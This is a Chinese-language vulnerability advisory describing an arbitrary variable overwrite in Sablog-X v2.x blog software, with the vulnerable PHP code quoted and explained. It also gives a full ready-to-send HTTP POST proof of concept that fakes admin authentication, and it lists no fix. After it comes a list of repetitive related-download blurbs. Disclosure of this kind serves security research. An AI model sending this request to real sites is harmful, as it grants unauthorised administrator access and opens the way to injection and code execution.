Sablog-X v2.x 任意变量覆盖漏洞
author: 80vul-B
team:http://www.80vul.com
一 描叙:
由于Sablog-x v2.x的common.inc.php里$_EVO初始化处理存在逻辑漏洞,导致可以利用extract()来覆盖任意变量,最终导致xss、sql注射、代码执行等很多严重的安全漏洞。
二 分析
common.inc.php代码里:
....
$onoff = function_exists('ini_get') ? ini_get('register_globals') : get_cfg_var('register_globals');
if ($onoff != 1) {
@extract($_COOKIE, EXTR_SKIP);
@extract($_POST, EXTR_SKIP);
@extract($_GET, EXTR_SKIP);
}
...
$sax_auth_key = md5($onlineip.$_SERVER['HTTP_USER_AGENT']);
list($sax_uid, $sax_pw, $sax_logincount) = $_COOKIE['sax_auth'] ? explode("\t", authcode($_COOKIE['sax_auth'], 'DECODE')) : array('', '', '');
$sax_hash = sax_addslashes($_COOKIE['sax_hash']);
...
$seccode = $sessionexists = 0;
if ($sax_hash) {
...
if ($_EVO = $DB->fetch_array($query)){ //$_EVO初始化过程在if ($sax_hash)里,如果这个if条件不满足,将跳过这个初始化过程。
...
}
if(!$sessionexists) {
if($sax_uid) {
if(!($_EVO = $DB->fetch_one_array("SELECT $userfields FROM {$db_prefix}users u WHERE u.userid='$sax_uid' AND u.password='$sax_pw' AND u.lastip='$onlineip'"))) {
...
@extract($_EVO); //覆盖任意变量
由上面的代码片断可以看到,只要使$sax_hash和$sax_uid的布尔值为fales,$_EVO就不会被赋值,而$sax_hash和$sax_uid这两个变量来自由$_COOKIE,这样我们可以很容易的控制$_EVO了,然后通过extract()来覆盖任意变量,这将导致xss、sql inj、代码执行等很多严重的安全漏洞:)
三 利用
下面给个后台权限欺骗的PoC:
POST http://127.0.0.1/sax/cp.php HTTP/1.1
Accept: */*
Accept-Language: zh-cn
Referer: http://127.0.0.1/sax/cp.php
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)
Host: 127.0.0.1
Content-Length: 138
Connection: Close
_EVO[sax_uid]=1&_EVO[sax_pw]=1&_EVO[sax_logincount]=1&_EVO[sax_hash]=1&_EVO[sax_group]=1&_EVO[sax_auth_key]=1&_EVO[timestamp]=111111111111
四 补丁[fix]
缺
分享到:
相关推荐
博客空间Sablog-X v1.6 正式版 Build 20070820-sablog-x1.6.zip是一款基于PHP语言开发的个人博客系统,它为用户提供了一个功能强大、易于使用的平台来发布自己的思想、见解和生活点滴。这款博客软件在2007年8月20日...
作为Sablog的后继产品,Sablog-X在代码质量,运行效率,负载能力,安全等级,功能可操控性和权限严密性等方面都在原有的基础上,更上一层楼.凭借Sablog-X作者7年多的安全技术经验,4年的PHP开发经验,强于创新,追求完美的...
【标题】"sablog-x1.6.rar"是一个压缩包文件,其中包含了Sablog x1.6版本的模板资源。Sablog是一个流行的开源博客系统,它为个人或团队提供了搭建博客的强大工具。"Sablog_adminfunctions.php"是这个博客系统中的一...
《Sablog-X Plus 2.0 Build 090308:一款强大的个人博客系统解析》 Sablog-X Plus 2.0 Build 090308是一款基于PHP开发的开源博客系统,旨在为用户提供高效、稳定、功能丰富的个人博客搭建方案。这款软件在2009年3月...
【博客空间】Sablog-X 2.0 Beta Build 20090803_sablog-x.zip 本文将详细介绍Sablog-X 2.0 Beta Build 20090803,这是一个用于创建个人博客空间的开源软件。Sablog-X作为一个成熟的博客系统,具有丰富的功能和高度...
作为Sablog的后继产品,Sablog-X在代码质量,运行效率,负载能力,安全等级,功能可操控性和权限严密性等方面都在原有的基础上,更上一层楼.凭借Sablog-X作者7年多的安全技术经验,4年的PHP开发经验,强于创新,追求完美的...
作为Sablog的后继产品,Sablog-X在代码质量,运行效率,负载能力,安全等级,功能可操控性和权限严密性等方面都在原有的基础上,更上一层楼.凭借Sablog-X作者7年多的安全技术经验,4年的PHP开发经验,强于创新,追求完美的...
在这个数字化时代,博客作为一种自我表达和知识分享的平台,sablog-x1.6提供了强大的支持。本文将详细解析sablog-x1.6的核心功能、安装部署、使用技巧以及常见问题解决方法。 一、系统概述 sablog-x1.6是一个轻量...
Wordpress Sablog-X 是一款基于WordPress的博客主题,专为那些寻求简洁、高效且功能丰富的博客平台的用户设计。这款主题以其独特的设计风格和优化的性能,在网页模版领域中独树一帜。WordPress作为全球最受欢迎的...
作为Sablog的后继产品,Sablog-X在代码质量,运行效率,负载能力,安全等级,功能可操控性和权限严密性等方面都在原有的基础上,更上一层楼.凭借Sablog-X作者7年多的安全技术经验,4年的PHP开发经验,强于创新,追求完美的...
3. **安全性**:作为一款成熟的PHP博客系统,Sablog-X重视安全防护,定期更新以修复可能的安全漏洞,保护用户数据不受攻击。 4. **多语言支持**:Sablog-X支持多种语言,满足了全球化用户的需求。 5. **插件系统**...
【项目资源】:包含前端、后端、移动开发、操作系统、人工智能、物联网、信息化管理、数据库、硬件开发、大数据、课程资源、音视频、网站开发等各种技术项目的源码。...【项目质量】:所有源码都经过严格测试,可以直接...
PHP实例开发源码—Sablog-X php blog程序.zip PHP实例开发源码—Sablog-X php blog程序.zip PHP实例开发源码—Sablog-X php blog程序.zip
作为Sablog的后继产品,Sablog-X在代码质量,运行效率,负载能力,安全等级,功能可操控性和权限严密性等方面都在原有的基础上,更上一层楼.凭借Sablog-X作者7年多的安全技术经验,4年的PHP开发经验,强于创新,追求完美的...
【项目资源】:包含前端、后端、移动开发、操作系统、人工智能、物联网、信息化管理、数据库、硬件开发、大数据、课程资源、音视频、网站开发等各种技术项目的源码。...【项目质量】:所有源码都经过严格测试,可以直接...
作为Sablog的后继产品,Sablog-X在代码质量,运行效率,负载能力,安全等级,功能可操控性和权限严密性等方面都在原有的基础上,更上一层楼.凭借Sablog-X作者7年多的安全技术经验,4年的PHP开发经验,强于创新,追求完美的...
【博客空间】Sablog-R beta0.1_sablog-rbeta.zip是一款基于Web的开源博客系统,主要用于个人或团队创建和管理在线博客。这个压缩包包含的是Sablog-R的beta0.1版本,是一个更新迭代的早期测试版,旨在提供更稳定、...
《Sablog-X 2.0 Beta(20090723):经典博客系统解析》 Sablog-X 2.0 Beta(20090723)是一款在2009年发布的博客系统,其核心设计旨在提供稳定、高效的博客发布和管理平台。这个版本的Sablog-X在当时具有一定的影响力,...
【标题】"PHP实例开发源码—Sablog-X php blog程序.zip" 提供的是一个基于PHP语言的博客系统源码,名为Sablog-X。这个开源项目对于学习PHP编程、理解Web应用开发流程以及深入研究博客系统架构具有重要的实践价值。 ...